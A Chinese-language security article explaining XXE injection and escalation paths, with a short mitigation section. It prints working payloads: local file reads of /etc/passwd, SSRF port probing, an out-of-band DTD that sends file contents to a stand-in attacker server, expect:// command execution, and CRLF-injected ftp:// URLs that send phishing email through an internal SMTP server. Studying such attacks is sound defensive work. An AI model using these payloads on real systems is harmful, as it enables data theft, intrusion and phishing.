從XML到RCE（遠程代碼執行）
責編：gltian ｜2018-07-19 10:43:17你的web應用是否能夠防止XXE攻擊
如果你的應用程序允許用戶執行上傳文件或者提交POST請求的操作，那么它就很可能容易受到XXE攻擊。雖然說每天都有大量該漏洞被檢測到，但Gardien Virtuel在去年的幾次Web應用程序滲透測試中就已經能夠利用該漏洞。
什么是XXE
XML eXternal Entity（XXE）攻擊被列入OWASP 2017年的前十名，并被該組織定義為：
“[…]一種針對解析XML輸入的應用程序的攻擊。它實質上是另一種注入類型攻擊，如果正確利用，可能非常嚴重。當包含對外部實體的引用的XML輸入是 由弱配置的XML解析器處理時該攻擊就會發生。這種攻擊可能導致從解析器所在機器泄漏機密數據，拒絕服務，服務器端請求偽造，端口掃描，以及其他一些系統影響[如億笑-Dos攻擊]?！?/p>
比如說，當你使用PHP的時候，需要將libxml_disable_entity_loader設置為TRUE才能禁用外部實體。
漏洞利用介紹
通常情況下，XXE攻擊者會創建一個注入XML文件的攻擊載荷，執行該載荷
時，將讀取服務器上的本地文件，訪問內部網絡并掃描內部端口。 通過XXE，攻擊者能夠在本地計算機上讀取敏感數據和系統文件，并在某些情況下將其升級為代碼執行。 換句話說，XXE是一種從localhost到達各種服務的方法，可能繞過防火墻規則或授權檢查。
讓我們將下面一段代碼作為一個簡單的post請求的例子：
POST /vulnerable HTTP/1.1
Host: www.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: https://test.com/test.html
Content-Type: application/xml
Content-Length: 294
Cookie: mycookie=cookies;
Connection: close
Upgrade-Insecure-Requests: 1
<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>
上述代碼將由服務器的XML處理器解析。 代碼被解析后返回：
{"Request Successful": "Added!"}
這時候當攻擊者試圖濫用XML代碼解析時會發生什么？讓我們來編輯代碼，讓它包含我們的惡意載荷：
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
這段代碼會被執行并且返回
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
盲帶外XEE（Blind OOB XXE）
如上例所示，服務器將/etc/passwd文件的內容作為響應返回給我們的XXE。 而有些情況下雖然實際上沒有將響應返回給攻擊者的瀏覽器或代理，但服務器仍然可能受到XXE的攻擊。盲帶外XXE（OOB XXE）將就允許我們以不同方式利用此漏洞。 由于我們無法直接查看文件內容，因此仍可以掃描內部IP，端口，使用易受攻擊的服務器作為代理在外部網絡上執行掃描并執行代碼。
下面將演示4個漏洞利用場景。
在第一個例子中，受到攻擊的服務器對我們的攻擊返回了響應。 我們使用文件URI方案將請求指向/etc/passwd文件。當然也可以使用http URI方案并強制服務器向我們選擇的邊界點和端口發送HTTP GET請求，將XXE轉換為SSRF（服務器端請求偽造）。
下面的代碼將嘗試與端口8080通信，并且根據響應時間和/或響應長度，攻擊者將知道它是否已打開。
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
外部文檔類型定義（DTD）文件可用于通過讓易受遠程攻擊的服務器獲取攻擊者托管在VPS上的.dtd文件，并執行該文件中包含的惡意命令來觸發OOB XXE。 DTD文件基本上是充當被攻擊服務器的指令文件。
以下請求已發送到應用程序以演示和測試此方法：
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
上述代碼一旦由被攻擊的服務器所執行，該服務器就會向我們的遠程服務器發送請求，查找包含我們的載荷的DTD文件：
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
花點時間了解一下上述請求的執行流程。 結果是兩個請求發送到我們的服務器，其中第二個請求是/etc/passwd文件的內容。
在我們的VPS日志中可以看到帶有文件內容的第二個請求，它證實了OOB XXE：
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
這種情況很少發生，但還是會在一些情況下黑客能夠通過XXE執行代碼，這主要是由于內部應用程序配置/開發不當。 如果我們很幸運遇到PHP expect模塊被加載到易受攻擊的系統或正在執行XML的內部應用程序上，我們可以執行如下命令：
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
響應包：
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
我們使用Java的XML解析器找到了一個易受攻擊的端點。 掃描內部端口后，我們發現偵聽端口25的SMTP服務，Java支持在sun.net.ftp.impl.FtpClient中實現的ftp URI方案。 因此，我們可以指定用戶名和密碼，例如ftp:// user:password@hostport/test.txt，FTP客戶端將在連接中發送相應的USER命令。
但這與SMTP和網絡釣魚有什么關系呢？ 接下來就是有趣的部分。如果將％0D％0A（CRLF）放在URL的user部分的任何位置，我們就可以終止USER命令并向FTP會話中注入一個新命令，允許我們向端口25發送任意SMTP命令：
ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:a@VULNERABLESYSTEM.com:25
當FTP客戶端使用該URL連接時，以下命令將發送VULNERABLESYSTEM.com上的郵件服務器：
ftp://a
EHLO a
MAIL FROM: <support@VULNERABLESYSTEM.com>
RCPT TO: <victim@gmail.com>
DATA
From: support@VULNERABLESYSTEM.com
To: victim@gmail.com
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:support@VULNERABLESYSTEM.com:25
這樣攻擊者就可以從受信任的源發送釣魚（例如：帳戶重置鏈接）電子郵件，繞過垃圾郵件過濾器并降低服務的信任。 在可以從執行XML解析的計算機訪問到內部郵件服務器的情況下，這個攻擊特別有意思。
友情提醒：它甚至允許發送附件;-)
推薦幾款有用的工具
現在談到XXE，重要的是能夠隨時手動編輯Web請求的內容，BurpSuite是推薦的工具之一。 在某些情況下，BurpSuite的掃描功能可以檢測潛在的XXE漏洞，但建議手動利用。 如果你設法利用存在XXE漏洞的系統，BurpSuite的Intruder比較適合自動探測開放端口。 通過查看響應時間/響應長度，就可以快速判斷端口是否已打開。
RequestBin和HookBin等HTTP請求分析器可用于測試OOB XXE。 BurpSuite Pro’s Collaborator一般來說可以解決這個問題，但是一些安全研究人員更喜歡使用他們自己的VPS。
漏洞應對措施
絕不相信你的最終用戶。 在本文中，我們可以發現主要問題是在于XML解析器處理用戶發送的不受信任的數據上。大多數XML解析器默認易受到XML外部實體攻擊。 因此，最佳解決方案是將XML處理器配置為使用本地靜態DTD，并在部署應用程序之前禁用XML文檔中包含的任何聲明的DTD。
參考
- https://blog.zsec.uk/blind-xxe-learning/
- https://www.acunetix.com/blog/articles/xml-external-entity-xxe-limitations/
- https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
- https://mikeknoop.com/lxml-xxe-exploit/